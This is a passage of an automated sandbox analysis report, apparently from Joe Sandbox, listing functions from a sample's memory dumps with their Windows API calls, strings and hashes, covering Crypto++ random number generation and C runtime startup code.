CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,F3D820D6,6F128180,00000000,?), ref: 6F0FDBFB
GetLastError.KERNEL32 ref: 6F0FDC01
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 6F0FDC15
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 6F0FDC26
SetLastError.KERNEL32(00000000), ref: 6F0FDC2D

Part of subcall function 6F0FD9D0: GetLastError.KERNEL32(00000010,F3D820D6,762501B0,?,00000000), ref: 6F0FDA1A

__CxxThrowException@8.LIBCMT ref: 6F0FDC78

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

Strings

Crypto++ RNG, xrefs: 6F0FDC0D, 6F0FDC20
CryptAcquireContext, xrefs: 6F0FDC35

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: AcquireContextCryptErrorLast$ExceptionException@8RaiseThrow
String ID: CryptAcquireContext$Crypto++ RNG
API String ID: 3279666080-1159690233
Opcode ID: 6b576df6db2a330380d6c49bc8f4cbca0388e30e5f748e2a6c0f34ab10c9756c
Instruction ID: ddfab103c7e05a3c988b856422663f9adc52b948ef72c569531d511ecbaa2418
Opcode Fuzzy Hash: 6b576df6db2a330380d6c49bc8f4cbca0388e30e5f748e2a6c0f34ab10c9756c
Instruction Fuzzy Hash: 92219F71248701AFE310EB64CC45F5BBBE8BB997A4F40091EF541A62C0EBB6A055CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6F10948B Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6F10CE6C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6F10CE81
UnhandledExceptionFilter.KERNEL32(6F129428), ref: 6F10CE8C
GetCurrentProcess.KERNEL32(C0000409), ref: 6F10CEA8
TerminateProcess.KERNEL32(00000000), ref: 6F10CEAF

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 52f322693a266304c26abb5ada2fee5c4e422b0867ef211814e73a79ed7fdf91
Instruction ID: 501cfd806fcf97fc099ca70474ab12bb9ad5d314dcc385e7a4b56e2b8ffd3cf2
Opcode Fuzzy Hash: 52f322693a266304c26abb5ada2fee5c4e422b0867ef211814e73a79ed7fdf91
Instruction Fuzzy Hash: 822103B4808A04DFCF11EF68D5446483BB4FB8A3F4F60401AE50987B41EBB055B8CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 6F0FDE00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57encryptionCOMMON

Download Yara Rule

APIs

CryptGenRandom.ADVAPI32(?,?,?,F3D820D6,00000000), ref: 6F0FDE6F
__CxxThrowException@8.LIBCMT ref: 6F0FDEB9

Part of subcall function 6F0FDD20: CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000000,6F11F0E6,000000FF,6F0FDF67,00000000,?), ref: 6F0FDDB4

Strings

CryptGenRandom, xrefs: 6F0FDE7B

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Crypt$ContextException@8RandomReleaseThrow
String ID: CryptGenRandom
API String ID: 1047471967-3616286655
Opcode ID: 39138879f72550a6f5d07597ac789f33ca07f723d9b3fe98781e7dde164bf005
Instruction ID: 1c7b40a6afa83643ee9f4e368530e3ee597accf7ba49b410dc9410f3cd12effb
Opcode Fuzzy Hash: 39138879f72550a6f5d07597ac789f33ca07f723d9b3fe98781e7dde164bf005
Instruction Fuzzy Hash: FB2189710097409FC300EF64C444B5BBBEAFB997A8F004A1EF8A597280EB75E518CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0FD9D0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010,F3D820D6,762501B0,?,00000000), ref: 6F0FDA1A

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A402A

Strings

operation failed with error , xrefs: 6F0FDA49
OS_Rng: , xrefs: 6F0FDA35

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ErrorLastXinvalid_argumentstd::_
String ID: operation failed with error $OS_Rng:
API String ID: 406877150-700108173
Opcode ID: 28c64ce993b7ab778482bb4a36a958239264cf78573843a6e159f25e90d36bc5
Instruction ID: 7a1dde9f97244d52460c082de94c4ecfd7c7ed4efe631fc20403fe06265c5253
Opcode Fuzzy Hash: 28c64ce993b7ab778482bb4a36a958239264cf78573843a6e159f25e90d36bc5
Instruction Fuzzy Hash: 22419FB1508380DFD320DF69C841B5BFBE8BB99694F50491EE48987381EB75A404CB53

Uniqueness

Uniqueness Score: -1.00%

Function 6F0FDEE0 Relevance: 1.6, APIs: 1, Instructions: 71encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 6F0A4760: __CxxThrowException@8.LIBCMT ref: 6F0A47F9

CryptReleaseContext.ADVAPI32(?,00000000,00000000,?), ref: 6F0FDF7B

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ContextCryptException@8ReleaseThrow
String ID:
API String ID: 3140249258-0
Opcode ID: f41b3b3f9c470a705f80fd13b877777af97dffeacffe6c923ff4bfad3696cab6
Instruction ID: 4d2973d92f3cd3c3943bdb3bd01b696d3924740adb93319f3ca67e310a5738af
Opcode Fuzzy Hash: f41b3b3f9c470a705f80fd13b877777af97dffeacffe6c923ff4bfad3696cab6
Instruction Fuzzy Hash: C4217FB5509344ABC300DF14D940B5BBBE9EF9A768F440A1DF84593381D771A509CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6F0FDD20 Relevance: 1.6, APIs: 1, Instructions: 66encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000000,6F11F0E6,000000FF,6F0FDF67,00000000,?), ref: 6F0FDDB4

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: d52afd8d4e34e72eba2cba3506c199a938b7e95dcfe6321d5f3e536f989f53f4
Instruction ID: 2c0af1d2784796fec978e28ae77a5cd822e1919bbbe4423b5c3f265be4454b43
Opcode Fuzzy Hash: d52afd8d4e34e72eba2cba3506c199a938b7e95dcfe6321d5f3e536f989f53f4
Instruction Fuzzy Hash: 7C11E6B160AB519BEB10DF58C881B5A73E9FB456A4F440A3EED15C3380FB79E4188B91

Uniqueness

Uniqueness Score: -1.00%

Function 015653D4 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06f1db69e6be3b4c6d7c3d0a3d8993074d8b64437478d1b9c0293a18f04ed54f
Instruction ID: 13d8cc15c218fbca8906f94e0339998659270bba5f5f95827951ebf976dafd25
Opcode Fuzzy Hash: 06f1db69e6be3b4c6d7c3d0a3d8993074d8b64437478d1b9c0293a18f04ed54f
Instruction Fuzzy Hash: 8B41E0B0E002489FDB14CFA9D984BADBBF5FB59300F209129E415FB251D7749885CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0156B4CD Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e85c17c569ef925c3c2ac55fafa2c2bd5f3eee983765ba8160e910b5d99099a
Instruction ID: f9e988a753c3f700eb9ec96596bf34d78193bba2f5787ef1b084d65d5cc457d6
Opcode Fuzzy Hash: 3e85c17c569ef925c3c2ac55fafa2c2bd5f3eee983765ba8160e910b5d99099a
Instruction Fuzzy Hash: 5041FEB4E002489FDB24CFA9D984B9DBBF5BB59300F249029E428BB391D7749885CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0156CBD9 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 139ba8feebd590c6bb3a1662f75c711dd3e38527ffc8be8b525c32b64d644176
Instruction ID: 7732da8d2f42ab0da92b719158b326b9e4322c5dc0ffff509fb140c751d58aa3
Opcode Fuzzy Hash: 139ba8feebd590c6bb3a1662f75c711dd3e38527ffc8be8b525c32b64d644176
Instruction Fuzzy Hash: 6431B275D01208AFDB05DFA8D850AEEFBB5EF49310F10906AE915B7360DB70AA05CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0156CAC8 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ff4a1ac5e5e04d3004d6cb8ce0317cb55a51ce5131f3db931b83bcb1b65f73e
Instruction ID: 2f3ce55e09b11ca4fe6b8f20d03efa74715053aaf62675c16edb959598f18774
Opcode Fuzzy Hash: 0ff4a1ac5e5e04d3004d6cb8ce0317cb55a51ce5131f3db931b83bcb1b65f73e
Instruction Fuzzy Hash: 48319075D01208AFDB04DFA8D850AEEBBB5AF49310F10906AE915B7360DB309A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0156C9C0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24bc1827f760b34aac5fbcd00bfa242e2c5cb994ee2e4a028152617e299a7a65
Instruction ID: 6f2b049429de710b328b7d55e97b86444ff369cc6b7293b3dddeb2c99ef37b81
Opcode Fuzzy Hash: 24bc1827f760b34aac5fbcd00bfa242e2c5cb994ee2e4a028152617e299a7a65
Instruction Fuzzy Hash: 9F31B375D11208AFDB04CFA8D850AEEFBB5FF49310F10906AE915B7360DB309A04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0156CBE0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b4646c58d8aab31ce2ea489d1a82cac1245917895b0c7e31cbfe43983a524fc
Instruction ID: f6a7dcb86288a5b62f56d4647a619896bef310eb613f109bf1bd128df1fc192d
Opcode Fuzzy Hash: 1b4646c58d8aab31ce2ea489d1a82cac1245917895b0c7e31cbfe43983a524fc
Instruction Fuzzy Hash: CB31B275D01208AFDB04CFA8D850AEEFBB5FF49310F10906AE915B7360DB30AA05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0156CAD0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041800eb7f0b1bd5a45fd30d7ca176d93fc3679c2f8c1cabcab4a7f3b545a8ad
Instruction ID: 55519469792cced45376606976374f9e9623c4719cf46c9e466952485c134ecd
Opcode Fuzzy Hash: 041800eb7f0b1bd5a45fd30d7ca176d93fc3679c2f8c1cabcab4a7f3b545a8ad
Instruction Fuzzy Hash: F331A075D01208AFDB04DFA8D850AEEFBB5AF49310F10906AE915B7360DB30AA04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0156C9B9 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8e85dda8b77b0a4dbdbb1d9be51a7c19abc4cc39e86f7e2286a4d9bbd8c163b
Instruction ID: 255b400c6c9b1b09c956ad852da56d8029a0cb979c26939ba53e36312de5dfb4
Opcode Fuzzy Hash: a8e85dda8b77b0a4dbdbb1d9be51a7c19abc4cc39e86f7e2286a4d9bbd8c163b
Instruction Fuzzy Hash: 4E31B275E11208AFDB05CFA8D890AEEFBB1BF49310F10906AE915B7360DB309A44CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6F1084B0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20e04f8e007b40b8e353e9a745ed34a75f5de9d427f6619e7122476668f1c5f0
Instruction ID: 318e79bea2a5d942c136bf16174eafb32153405c6dd17919cda623c5e670df72
Opcode Fuzzy Hash: 20e04f8e007b40b8e353e9a745ed34a75f5de9d427f6619e7122476668f1c5f0
Instruction Fuzzy Hash: 1B113CB2908609EFC704CF59D841B9AFBF5FB45770F10822EE81993B80DB35A910CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6F116FB1 Relevance: 54.3, APIs: 36, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBCMT ref: 6F116FCC

Part of subcall function 6F114147: DName::DName.LIBCMT ref: 6F11415A
Part of subcall function 6F114147: DName::operator+.LIBCMT ref: 6F114161

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 253042d057a53340864cfa9149087d2c576d39b50f093ec37c9dc58d19c11387
Instruction ID: cd4f44b118b032d8051bc7fb00cde3f3db68f4fb473d4fa6209e214bad6d9198
Opcode Fuzzy Hash: 253042d057a53340864cfa9149087d2c576d39b50f093ec37c9dc58d19c11387
Instruction Fuzzy Hash: CBD141B5908309AFDF01DFA8C885AEEBBF4AF15394F00417AE511E7390DB35AA56CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6F10EC9D Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ECA5
__mtterm.LIBCMT ref: 6F10ECB1

Part of subcall function 6F10E97C: DecodePointer.KERNEL32(0000000F,6F10A397,6F10A37D,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10E98D
Part of subcall function 6F10E97C: TlsFree.KERNEL32(00000022,6F10A397,6F10A37D,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10E9A7
Part of subcall function 6F10E97C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,6F10A397,6F10A37D,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F112325
Part of subcall function 6F10E97C: DeleteCriticalSection.KERNEL32(00000022,?,?,6F10A397,6F10A37D,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F11234F

GetProcAddress.KERNEL32(00000000,FlsAlloc,?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ECC7
GetProcAddress.KERNEL32(00000000,FlsGetValue,?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ECD4
GetProcAddress.KERNEL32(00000000,FlsSetValue,?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ECE1
GetProcAddress.KERNEL32(00000000,FlsFree,?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ECEE
TlsAlloc.KERNEL32(?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ED3E
TlsSetValue.KERNEL32(00000000,?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ED59
__init_pointers.LIBCMT ref: 6F10ED63
EncodePointer.KERNEL32(?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ED74
EncodePointer.KERNEL32(?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ED81
EncodePointer.KERNEL32(?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ED8E
EncodePointer.KERNEL32(?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10ED9B
DecodePointer.KERNEL32(Function_0006EB00,?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10EDBC
__calloc_crt.LIBCMT ref: 6F10EDD1
DecodePointer.KERNEL32(00000000,?,?,6F10A2D4,6F1395C0,00000008,6F10A468,?,?,?,6F1395E0,0000000C,6F10A523,?), ref: 6F10EDEB
GetCurrentThreadId.KERNEL32 ref: 6F10EDFD

Strings

KERNEL32.DLL, xrefs: 6F10ECA0
FlsSetValue, xrefs: 6F10ECD6
FlsGetValue, xrefs: 6F10ECC9
FlsAlloc, xrefs: 6F10ECC1
FlsFree, xrefs: 6F10ECE3

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 1868149495-3819984048
Opcode ID: c39a4493b35319ff458d7015432ce1ace3cd00d123456e9b8cf753515bea602d
Instruction ID: 5b7a4ae5f9ac7693d9f4b7309e1f936b27a0b575b61835c349cf7fe54b1120b5
Opcode Fuzzy Hash: c39a4493b35319ff458d7015432ce1ace3cd00d123456e9b8cf753515bea602d
Instruction Fuzzy Hash: 4A314F31900B15ABDF11BFB69808A553FE5FBA67F0714092AE42493190DF70A1BDDF94

Uniqueness

Uniqueness Score: -1.00%

